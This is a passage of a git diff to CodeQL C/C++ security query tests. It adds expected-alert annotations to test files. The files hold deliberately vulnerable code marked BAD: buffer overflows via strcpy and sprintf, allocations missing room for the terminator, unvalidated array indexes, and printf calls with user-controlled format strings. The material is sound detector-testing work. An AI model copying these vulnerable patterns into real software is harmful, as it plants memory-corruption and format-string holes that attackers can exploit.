"%p", argv); // BAD - sprintf(buffer16, "%p", argv); // BAD + sprintf(buffer1, "%p", argv); // BAD // $ Alert[cpp/very-likely-overrunning-write] + sprintf(buffer16, "%p", argv); // BAD // $ Alert[cpp/very-likely-overrunning-write] sprintf(buffer17, "%p", argv); // GOOD sprintf(buffer49, "%p and then a few more words", argv); // GOOD } @@ -133,7 +133,7 @@ void test_fn2() MyCharArray myBuffer10; sprintf(myBuffer10, "%s", "123456789"); // GOOD - sprintf(myBuffer10, "%s", "1234567890"); // BAD: buffer overflow + sprintf(myBuffer10, "%s", "1234567890"); // BAD: buffer overflow // $ Alert[cpp/very-likely-overrunning-write] } // --- @@ -183,10 +183,10 @@ void tesHexBounds(int x) { } if (x < 16) { - sprintf(buffer2, "%x", x); // BAD: negative values + sprintf(buffer2, "%x", x); // BAD: negative values // $ Alert[cpp/very-likely-overrunning-write] } if (x <= 16 && x > 0) { - sprintf(buffer2, "%x", x); // BAD: bound too loose + sprintf(buffer2, "%x", x); // BAD: bound too loose // $ Alert[cpp/very-likely-overrunning-write] } if(x < 0x10000 && x > 0) { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/tests2.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/tests2.cpp index c492e11f0b89..4be5107a6a0d 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/tests2.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/tests2.cpp @@ -15,36 +15,36 @@ void tests2() { buffer = (wchar_t *)malloc(2 * sizeof(wchar_t)); wcscpy(buffer, L"1"); // GOOD - wcscpy(buffer, L"12"); // BAD: buffer overflow + wcscpy(buffer, L"12"); // BAD: buffer overflow // $ Alert[cpp/very-likely-overrunning-write] free(buffer); buffer = (wchar_t *)malloc(3 * sizeof(wchar_t)); wcscpy(buffer, L"12"); // GOOD - wcscpy(buffer, L"123"); // BAD: buffer overflow + wcscpy(buffer, L"123"); // BAD: buffer overflow // $ Alert[cpp/very-likely-overrunning-write] free(buffer); buffer = (wchar_t *)realloc(0, 4 * sizeof(wchar_t)); wcscpy(buffer, L"123"); // GOOD - wcscpy(buffer, L"1234"); // BAD: buffer overflow + wcscpy(buffer, L"1234"); // BAD: buffer overflow // $ Alert[cpp/very-likely-overrunning-write] buffer = (wchar_t *)realloc(buffer, 5 * sizeof(wchar_t)); wcscpy(buffer, L"1234"); // GOOD - wcscpy(buffer, L"12345"); // BAD: buffer overflow + wcscpy(buffer, L"12345"); // BAD: buffer overflow // $ Alert[cpp/very-likely-overrunning-write] free(buffer); buffer = (wchar_t *)calloc(6, sizeof(wchar_t)); wcscpy(buffer, L"12345"); // GOOD - wcscpy(buffer, L"123456"); // BAD: buffer overflow + wcscpy(buffer, L"123456"); // BAD: buffer overflow // $ Alert[cpp/very-likely-overrunning-write] free(buffer); buffer = (wchar_t *)calloc(sizeof(wchar_t), 7); wcscpy(buffer, L"123456"); // GOOD - wcscpy(buffer, L"1234567"); // BAD: buffer overflow + wcscpy(buffer, L"1234567"); // BAD: buffer overflow // $ Alert[cpp/very-likely-overrunning-write] free(buffer); buffer = new wchar_t[8]; wcscpy(buffer, L"1234567"); // GOOD - wcscpy(buffer, L"12345678"); // BAD: buffer overflow + wcscpy(buffer, L"12345678"); // BAD: buffer overflow // $ Alert[cpp/very-likely-overrunning-write] delete [] buffer; } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/unions.c b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/unions.c index 68c9aff9c2b5..6d0f0f8ca9d7 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/unions.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/unions.c @@ -23,8 +23,8 @@ void unions_test(MyUnion *mu) strcpy(&(mu->ptr), "1234567890"); // GOOD (dubious) strcpy(&(mu->buffer), "1234567890"); // GOOD strcpy(mu, "12345678901234567890"); // BAD [NOT DETECTED] - strcpy(&(mu->ptr), "12345678901234567890"); // BAD - strcpy(&(mu->buffer), "12345678901234567890"); // BAD + strcpy(&(mu->ptr), "12345678901234567890"); // BAD // $ Alert[cpp/very-likely-overrunning-write] + strcpy(&(mu->buffer), "12345678901234567890"); // BAD // $ Alert[cpp/very-likely-overrunning-write] mu->ptr = buffer; strcpy(mu->ptr, "1234567890"); // GOOD diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/var_size_struct.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/var_size_struct.cpp index 56036aa76ac7..2a35ada2f232 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/var_size_struct.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/var_size_struct.cpp @@ -19,5 +19,5 @@ void testVarStruct() { vs->size = 9; strcpy(vs->data, "12345678"); // GOOD - strcpy(vs->data, "123456789"); // BAD: buffer overflow + strcpy(vs->data, "123456789"); // BAD: buffer overflow // $ Alert[cpp/very-likely-overrunning-write] } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/varbuffer.c b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/varbuffer.c index c4eed5068e5f..c01abbfbaa77 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/varbuffer.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/varbuffer.c @@ -12,16 +12,16 @@ void testMyVarStruct() MyVarStruct *ptr1 = (MyVarStruct*)malloc(sizeof(MyVarStruct)); ptr1->len = 0; strcpy(ptr1->buffer, ""); // GOOD - strcpy(ptr1->buffer, "1"); // BAD: length 2, but destination only has length 1 - strcpy(ptr1->buffer, "123456789"); // BAD: length 10, but destination only has length 1 + strcpy(ptr1->buffer, "1"); // BAD: length 2, but destination only has length 1 // $ Alert[cpp/very-likely-overrunning-write] + strcpy(ptr1->buffer, "123456789"); // BAD: length 10, but destination only has length 1 // $ Alert[cpp/very-likely-overrunning-write] // ... MyVarStruct *ptr2 = (MyVarStruct*)malloc(sizeof(MyVarStruct) + (sizeof(char) * 10)); ptr2->len = 10; strcpy(ptr2->buffer, "123456789"); // GOOD strcpy(ptr2->buffer, "1234567890"); // GOOD - strcpy(ptr2->buffer, "1234567890a"); // BAD: length 12, but destination only has length 11 - strcpy(ptr2->buffer, "1234567890abcdef"); // BAD: length 17, but destination only has length 11 + strcpy(ptr2->buffer, "1234567890a"); // BAD: length 12, but destination only has length 11 // $ Alert[cpp/very-likely-overrunning-write] + strcpy(ptr2->buffer, "1234567890abcdef"); // BAD: length 17, but destination only has length 11 // $ Alert[cpp/very-likely-overrunning-write] // ... } @@ -36,14 +36,14 @@ void testMyFixedStruct() ptr1->len = 1; strcpy(ptr1->buffer, ""); // GOOD strcpy(ptr1->buffer, "1"); // GOOD - strcpy(ptr1->buffer, "12"); // BAD: length 3, but destination only has length 2 - strcpy(ptr1->buffer, "123456789"); // BAD: length 10, but destination only has length 2 + strcpy(ptr1->buffer, "12"); // BAD: length 3, but destination only has length 2 // $ Alert[cpp/very-likely-overrunning-write] + strcpy(ptr1->buffer, "123456789"); // BAD: length 10, but destination only has length 2 // $ Alert[cpp/very-likely-overrunning-write] // ... MyFixedStruct1 *ptr2 = (MyFixedStruct1*)malloc(sizeof(MyFixedStruct1) + (sizeof(char) * 10)); ptr2->len = 11; - strcpy(ptr2->buffer, "123456789"); // BAD / DUBIOUS: length 10, but destination only has length 2 - strcpy(ptr2->buffer, "1234567890abcdef"); // BAD: length 17, but destination only has length 2 + strcpy(ptr2->buffer, "123456789"); // BAD / DUBIOUS: length 10, but destination only has length 2 // $ Alert[cpp/very-likely-overrunning-write] + strcpy(ptr2->buffer, "1234567890abcdef"); // BAD: length 17, but destination only has length 2 // $ Alert[cpp/very-likely-overrunning-write] // ... } @@ -57,13 +57,13 @@ void testMyFixedStruct2() MyFixedStruct2 *ptr1 = (MyFixedStruct2 *)malloc(sizeof(MyFixedStruct2)); ptr1->len = 1; strcpy(ptr1->buffer, ""); // GOOD - strcpy(ptr1->buffer, "1"); // BAD: length 2, but destination only has length 1 - strcpy(ptr1->buffer, "123456789"); // BAD: length 10, but destination only has length 1 + strcpy(ptr1->buffer, "1"); // BAD: length 2, but destination only has length 1 // $ Alert[cpp/very-likely-overrunning-write] + strcpy(ptr1->buffer, "123456789"); // BAD: length 10, but destination only has length 1 // $ Alert[cpp/very-likely-overrunning-write] // ... MyFixedStruct2 *ptr2 = (MyFixedStruct2*)malloc(sizeof(MyFixedStruct2) + (sizeof(char) * 10)); ptr2->len = 11; strcpy(ptr2->buffer, "123456789"); // BAD: length 10, but destination only has length 1 [NOT DETECTED] - strcpy(ptr2->buffer, "1234567890abcdef"); // BAD: length 17, but destination only has length 1 + strcpy(ptr2->buffer, "1234567890abcdef"); // BAD: length 17, but destination only has length 1 // $ Alert[cpp/very-likely-overrunning-write] // ... } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-121/semmle/tests/UnterminatedVarargsCall.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-121/semmle/tests/UnterminatedVarargsCall.qlref index 75497f34f937..c1cd5bb0da92 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-121/semmle/tests/UnterminatedVarargsCall.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-121/semmle/tests/UnterminatedVarargsCall.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-121/UnterminatedVarargsCall.ql \ No newline at end of file +query: Security/CWE/CWE-121/UnterminatedVarargsCall.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-121/semmle/tests/more_tests.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-121/semmle/tests/more_tests.cpp index d6c9a3915e7f..4d58c6ffbc66 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-121/semmle/tests/more_tests.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-121/semmle/tests/more_tests.cpp @@ -22,7 +22,7 @@ int main() myFunction2(0, 1, -1); myFunction2(0, 1, 2, -1); myFunction2(0, 1, 2, 3, -1); - myFunction2(0, 1, 2, 3, 4); // BAD: missing terminator + myFunction2(0, 1, 2, 3, 4); // BAD: missing terminator // $ Alert myFunction3(-1); myFunction3(0, -1); @@ -36,7 +36,7 @@ int main() myFunction4(0, 0, 1, 1, 0); myFunction4(0, x, 1, 1, 1, 0); myFunction4(0, 0, 1, 1, 1, 1, 0); - myFunction4(x, 0, 1, 1, 1, 1, 1); // BAD: missing terminator + myFunction4(x, 0, 1, 1, 1, 1, 1); // BAD: missing terminator // $ Alert myFunction5('a', 'b', 'c', 0); // GOOD: ambiguous terminator myFunction5('a', 'b', 'c', 0); @@ -46,7 +46,7 @@ int main() myFunction5('a', 'b', 'c', -1); myFunction6(0.0); - myFunction6(1.0); // BAD: missing terminator + myFunction6(1.0); // BAD: missing terminator // $ Alert myFunction6(1.0, 2.0, 0.0); myFunction6(1.0, 2.0, 3.0, 0.0); myFunction6(1.0, 2.0, 3.0, 4.0, 0.0); @@ -61,8 +61,8 @@ int main() myFunction7("seven", "eight", "nine", 0); myFunction7("alpha", "beta", "gamma", 0); myFunction7("", 0); - myFunction7("yes", "no"); // BAD: missing terminator - myFunction7(); // BAD: missing terminator + myFunction7("yes", "no"); // BAD: missing terminator // $ Alert + myFunction7(); // BAD: missing terminator // $ Alert return 0; } \ No newline at end of file diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-121/semmle/tests/tests.c b/cpp/ql/test/query-tests/Security/CWE/CWE-121/semmle/tests/tests.c index f89d19cf3c75..9ea3c57ba527 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-121/semmle/tests/tests.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-121/semmle/tests/tests.c @@ -31,7 +31,7 @@ void f7(char *format, ...) int main(int argc, char *argv[]) { - f1("", 1); // BAD: not terminated with 0 + f1("", 1); // BAD: not terminated with 0 // $ Alert f1("", 1, 0); f1("", 1, 1, 0); f1("", 1, 1, 1, 0); @@ -75,13 +75,13 @@ int main(int argc, char *argv[]) f6("h", 5, -1); f6("i", 5, 6, -1); f6("j", 5, 6, 7, -1); - f6("k", 5, 6, argc); // BAD: not (necessarily) terminated with -1 - f6("l"); // BAD: not terminated with -1 + f6("k", 5, 6, argc); // BAD: not (necessarily) terminated with -1 // $ Alert + f6("l"); // BAD: not terminated with -1 // $ Alert f7("", 0); f7("", 0); f7("", 0); - f7(""); // BAD: not terminated with 0 + f7(""); // BAD: not terminated with 0 // $ Alert f7("", 0); f7("", 0); f7("", 0); diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-129/SAMATE/ImproperArrayIndexValidation/CWE122_Heap_Based_Buffer_Overflow__c_CWE129_fgets_01.c b/cpp/ql/test/query-tests/Security/CWE/CWE-129/SAMATE/ImproperArrayIndexValidation/CWE122_Heap_Based_Buffer_Overflow__c_CWE129_fgets_01.c index 2092902b6658..97024d60eb34 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-129/SAMATE/ImproperArrayIndexValidation/CWE122_Heap_Based_Buffer_Overflow__c_CWE129_fgets_01.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-129/SAMATE/ImproperArrayIndexValidation/CWE122_Heap_Based_Buffer_Overflow__c_CWE129_fgets_01.c @@ -27,7 +27,7 @@ void CWE122_Heap_Based_Buffer_Overflow__c_CWE129_fgets_01_bad() { char inputBuffer[CHAR_ARRAY_SIZE] = ""; /* POTENTIAL FLAW: Read data from the console using fgets() */ - if (fgets(inputBuffer, CHAR_ARRAY_SIZE, stdin) != NULL) + if (fgets(inputBuffer, CHAR_ARRAY_SIZE, stdin) != NULL) // $ Source { /* Convert to int */ data = atoi(inputBuffer); @@ -49,7 +49,7 @@ void CWE122_Heap_Based_Buffer_Overflow__c_CWE129_fgets_01_bad() * This code does check to see if the array index is negative */ if (data >= 0) { - buffer[data] = 1; + buffer[data] = 1; // $ Alert /* Print the array values */ for(i = 0; i < 10; i++) { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-129/SAMATE/ImproperArrayIndexValidation/ImproperArrayIndexValidation.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-129/SAMATE/ImproperArrayIndexValidation/ImproperArrayIndexValidation.qlref index f1d46d8f8d64..71a6b5581453 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-129/SAMATE/ImproperArrayIndexValidation/ImproperArrayIndexValidation.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-129/SAMATE/ImproperArrayIndexValidation/ImproperArrayIndexValidation.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-129/ImproperArrayIndexValidation.ql \ No newline at end of file +query: Security/CWE/CWE-129/ImproperArrayIndexValidation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-129/semmle/ImproperArrayIndexValidation/ImproperArrayIndexValidation.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-129/semmle/ImproperArrayIndexValidation/ImproperArrayIndexValidation.qlref index f1d46d8f8d64..71a6b5581453 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-129/semmle/ImproperArrayIndexValidation/ImproperArrayIndexValidation.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-129/semmle/ImproperArrayIndexValidation/ImproperArrayIndexValidation.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-129/ImproperArrayIndexValidation.ql \ No newline at end of file +query: Security/CWE/CWE-129/ImproperArrayIndexValidation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-129/semmle/ImproperArrayIndexValidation/test1.c b/cpp/ql/test/query-tests/Security/CWE/CWE-129/semmle/ImproperArrayIndexValidation/test1.c index 89619626de91..a92689a48d32 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-129/semmle/ImproperArrayIndexValidation/test1.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-129/semmle/ImproperArrayIndexValidation/test1.c @@ -4,7 +4,7 @@ void dosomething(char c); const char chr[26] = "abcdefghijklmnopqrstuvwxyz"; -int main(int argc, char *argv[]) { +int main(int argc, char *argv[]) { // $ Source int i = atoi(argv[1]); test1(i); test2(i); @@ -17,7 +17,7 @@ int main(int argc, char *argv[]) { void test1(int i) { // BAD: i has not been validated. - char c = chr[i]; + char c = chr[i]; // $ Alert dosomething(c); } @@ -32,7 +32,7 @@ void test2(int i) { int myArray[10]; void test3(int i) { - myArray[i] = 0; // BAD: i has not been validated + myArray[i] = 0; // BAD: i has not been validated // $ Alert i = 5; @@ -40,7 +40,7 @@ void test3(int i) { } void test4(int i) { - myArray[i] = 0; // BAD: i has not been validated + myArray[i] = 0; // BAD: i has not been validated // $ Alert if ((i < 0) || (i >= 10)) return; @@ -52,7 +52,7 @@ void test5(int i) { j = i; - j = myArray[j]; // BAD: j has not been validated + j = myArray[j]; // BAD: j has not been validated // $ Alert } extern int myTable[256]; diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/NoSpaceForZeroTerminator.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/NoSpaceForZeroTerminator.qlref index 53beb09ebd71..0459fddee60f 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/NoSpaceForZeroTerminator.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/NoSpaceForZeroTerminator.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-131/NoSpaceForZeroTerminator.ql +query: Security/CWE/CWE-131/NoSpaceForZeroTerminator.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/test.c b/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/test.c index 551b2441a41c..15de6c31dec4 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/test.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/test.c @@ -13,7 +13,7 @@ char *strcpy(char *s1, const char *s2); static void bad0(char *str) { // BAD -- Not allocating space for '\0' terminator - char *buffer = malloc(strlen(str)); + char *buffer = malloc(strlen(str)); // $ Alert strcpy(buffer, str); free(buffer); } @@ -29,7 +29,7 @@ static void good0(char *str) { static void bad1(char *str) { int len = strlen(str); // BAD -- Not allocating space for '\0' terminator - char *buffer = malloc(len); + char *buffer = malloc(len); // $ Alert strcpy(buffer, str); free(buffer); } @@ -46,7 +46,7 @@ static void good1(char *str) { static void bad2(char *str) { int len = strlen(str); // BAD -- Not allocating space for '\0' terminator - char *buffer = malloc(len); + char *buffer = malloc(len); // $ Alert strcpy(buffer, str); free(buffer); } @@ -61,7 +61,7 @@ static void good2(char *str) { static void bad3(char *str) { // BAD -- Not allocating space for '\0' terminator - char *buffer = malloc(strlen(str) * sizeof(char)); + char *buffer = malloc(strlen(str) * sizeof(char)); // $ Alert strcpy(buffer, str); free(buffer); } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/test.cpp index 24032a91ef15..f6c44301a682 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/test.cpp @@ -21,14 +21,14 @@ int strcmp(const char *s1, const char *s2); static void bad1(wchar_t *wstr) { // BAD -- Not allocating space for '\0' terminator - wchar_t *wbuffer = (wchar_t *)malloc(wcslen(wstr)); + wchar_t *wbuffer = (wchar_t *)malloc(wcslen(wstr)); // $ Alert wcscpy(wbuffer, wstr); free(wbuffer); } static void bad2(wchar_t *wstr) { // BAD -- Not allocating space for '\0' terminator - wchar_t *wbuffer = (wchar_t *)malloc(wcslen(wstr) * sizeof(wchar_t)); + wchar_t *wbuffer = (wchar_t *)malloc(wcslen(wstr) * sizeof(wchar_t)); // $ Alert wcscpy(wbuffer, wstr); free(wbuffer); } @@ -42,7 +42,7 @@ static void good1(wchar_t *wstr) { static void bad3(char *str) { // BAD -- zero-termination proved by sprintf (as destination) - char *buffer = (char *)malloc(strlen(str)); + char *buffer = (char *)malloc(strlen(str)); // $ Alert sprintf(buffer, "%s", str); free(buffer); } @@ -52,7 +52,7 @@ void wdecode(wchar_t *dest, wchar_t *src); static void bad4(char *str) { // BAD -- zero-termination proved by wprintf (as parameter) - char *buffer = (char *)malloc(strlen(str)); + char *buffer = (char *)malloc(strlen(str)); // $ Alert decode(buffer, str); wprintf(L"%s", buffer); free(buffer); @@ -60,7 +60,7 @@ static void bad4(char *str) { static void bad5(char *str) { // BAD -- zero-termination proved by strcat (as destination) - char *buffer = (char *)malloc(strlen(str)); + char *buffer = (char *)malloc(strlen(str)); // $ Alert buffer[0] = 0; strcat(buffer, str); free(buffer); @@ -68,7 +68,7 @@ static void bad5(char *str) { static void bad6(char *str, char *dest) { // BAD -- zero-termination proved by strcat (as source) - char *buffer = (char *)malloc(strlen(str)); + char *buffer = (char *)malloc(strlen(str)); // $ Alert decode(buffer, str); strcat(dest, buffer); free(buffer); @@ -76,7 +76,7 @@ static void bad6(char *str, char *dest) { static void bad7(char *str, char *str2) { // BAD -- zero-termination proved by strcmp - char *buffer = (char *)malloc(strlen(str)); + char *buffer = (char *)malloc(strlen(str)); // $ Alert decode(buffer, str); if (strcmp(buffer, str2) == 0) { // ... @@ -86,7 +86,7 @@ static void bad7(char *str, char *str2) { static void bad8(wchar_t *str) { // BAD -- zero-termination proved by wcslen - wchar_t *wbuffer = (wchar_t *)malloc(wcslen(str)); + wchar_t *wbuffer = (wchar_t *)malloc(wcslen(str)); // $ Alert wdecode(wbuffer, str); if (wcslen(wbuffer) == 0) { // ... @@ -103,7 +103,7 @@ static void good2(char *str, char *dest) { static void bad9(wchar_t *wstr) { // BAD -- using new - wchar_t *wbuffer = new wchar_t[wcslen(wstr)]; + wchar_t *wbuffer = new wchar_t[wcslen(wstr)]; // $ Alert wcscpy(wbuffer, wstr); delete wbuffer; } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/test2.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/test2.cpp index 7c7f74066976..1aca38a8f64a 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/test2.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-131/NoSpaceForZeroTerminator/test2.cpp @@ -61,14 +61,14 @@ static void bad2(wchar_t *str) { static void bad3(wchar_t *str) { // BAD -- Not allocating space for '\0' terminator - wchar_t *buffer = (wchar_t *)calloc(sizeof(wchar_t), wcslen(str)); + wchar_t *buffer = (wchar_t *)calloc(sizeof(wchar_t), wcslen(str)); // $ Alert wcscpy(buffer, str); free(buffer); } static void bad4(char *str) { // BAD -- Not allocating space for '\0' terminator - char *buffer = (char *)realloc(0, strlen(str)); + char *buffer = (char *)realloc(0, strlen(str)); // $ Alert strcpy(buffer, str); free(buffer); } @@ -81,12 +81,12 @@ void *MyMalloc2(size_t size); void customAllocatorTests(char *str) { { - char *buffer1 = (char *)MyMalloc1(strlen(str)); // BAD (no room for `\0` terminator) + char *buffer1 = (char *)MyMalloc1(strlen(str)); // BAD (no room for `\0` terminator) // $ Alert strcpy(buffer1, str); } { - char *buffer2 = (char *)MyMalloc2(strlen(str)); // BAD (no room for `\0` terminator) + char *buffer2 = (char *)MyMalloc2(strlen(str)); // BAD (no room for `\0` terminator) // $ Alert strcpy(buffer2, str); } } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/UncontrolledFormatString.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/UncontrolledFormatString.qlref index 079e0c8a7c0e..9c363bfac55e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/UncontrolledFormatString.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/UncontrolledFormatString.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-134/UncontrolledFormatString.ql \ No newline at end of file +query: Security/CWE/CWE-134/UncontrolledFormatString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/char_connect_socket_w32_vsnprintf_01_bad.c b/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/char_connect_socket_w32_vsnprintf_01_bad.c index ccba3e548403..9c177049c0fd 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/char_connect_socket_w32_vsnprintf_01_bad.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/char_connect_socket_w32_vsnprintf_01_bad.c @@ -91,7 +91,7 @@ void CWE134_Uncontrolled_Format_String__char_connect_socket_w32_vsnprintf_01_bad /* Abort on error or the connection was closed, make sure to recv one * less char than is in the recv_buf in order to append a terminator */ /* Abort on error or the connection was closed */ - recvResult = recv(connectSocket, (char *)(data + dataLen), sizeof(char) * (100 - dataLen - 1), 0); + recvResult = recv(connectSocket, (char *)(data + dataLen), sizeof(char) * (100 - dataLen - 1), 0); // $ Source if (recvResult == SOCKET_ERROR || recvResult == 0) { break; @@ -122,5 +122,5 @@ void CWE134_Uncontrolled_Format_String__char_connect_socket_w32_vsnprintf_01_bad } #endif } - badVaSink(data, data); + badVaSink(data, data); // $ Alert } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/char_console_fprintf_01_bad.c b/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/char_console_fprintf_01_bad.c index 1af281b9f422..493f9a5f7de5 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/char_console_fprintf_01_bad.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/char_console_fprintf_01_bad.c @@ -27,7 +27,7 @@ void CWE134_Uncontrolled_Format_String__char_console_fprintf_01_bad() /* POTENTIAL FLAW: Read data from the console */ if(100-data_len > 1) { - if (fgets(data+data_len, (int)(100-data_len), stdin) != NULL) + if (fgets(data+data_len, (int)(100-data_len), stdin) != NULL) // $ Source { /* The next 3 lines remove the carriage return from the string that is * inserted by fgets() */ @@ -46,7 +46,7 @@ void CWE134_Uncontrolled_Format_String__char_console_fprintf_01_bad() } } /* POTENTIAL FLAW: Do not specify the format allowing a possible format string vulnerability */ - fprintf(stdout, data); + fprintf(stdout, data); // $ Alert } /* goodG2B uses the GoodSource with the BadSink */ diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/char_environment_fprintf_01_bad.c b/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/char_environment_fprintf_01_bad.c index f759a9d8e61e..bc9f7e9f4a86 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/char_environment_fprintf_01_bad.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/char_environment_fprintf_01_bad.c @@ -24,7 +24,7 @@ void CWE134_Uncontrolled_Format_String__char_environment_fprintf_01_bad() { /* Append input from an environment variable to data */ size_t data_len = strlen(data); - char * environment = GETENV(ENV_VARIABLE); + char * environment = GETENV(ENV_VARIABLE); // $ Source /* If there is data in the environment variable */ if (environment != NULL) { @@ -33,7 +33,7 @@ void CWE134_Uncontrolled_Format_String__char_environment_fprintf_01_bad() } } /* POTENTIAL FLAW: Do not specify the format allowing a possible format string vulnerability */ - fprintf(stdout, data); + fprintf(stdout, data); // $ Alert } /* goodG2B uses the GoodSource with the BadSink */ diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/argv/argvLocal.c b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/argv/argvLocal.c index 5649c0e19b1c..4c6baf0d562e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/argv/argvLocal.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/argv/argvLocal.c @@ -10,7 +10,7 @@ void printWrapper(char *correct) { printf(correct); } -int main(int argc, char **argv) { +int main(int argc, char **argv) { // $ Source // GOOD: constant format printf("Correct"); printWrapper("Correct"); @@ -92,63 +92,63 @@ int main(int argc, char **argv) { printWrapper((char *) c10); // BAD: format comes from argv - printf(argv[1]); - printWrapper(argv[1]); + printf(argv[1]); // $ Alert + printWrapper(argv[1]); // $ Alert // BAD: i1 value comes from argv char *i1; i1 = argv[1]; - printf(i1); - printWrapper(i1); + printf(i1); // $ Alert + printWrapper(i1); // $ Alert // BAD: i2 value comes from argv char **i2 = argv; - printf(i2[0]); - printWrapper(i2[0]); + printf(i2[0]); // $ Alert + printWrapper(i2[0]); // $ Alert // BAD: i2 value comes from argv - printf(*i2); - printWrapper(*i2); + printf(*i2); // $ Alert + printWrapper(*i2); // $ Alert // BAD: i3 value comes from argv char i3[5012]; memcpy(i3, argv[1], 5012); - printf(i3); - printWrapper(i3); + printf(i3); // $ Alert + printWrapper(i3); // $ Alert // BAD: i4 value comes from argv char *i4 = i3; - printf(i4); - printWrapper(i4); + printf(i4); // $ Alert + printWrapper(i4); // $ Alert // BAD: i5 value comes from argv char 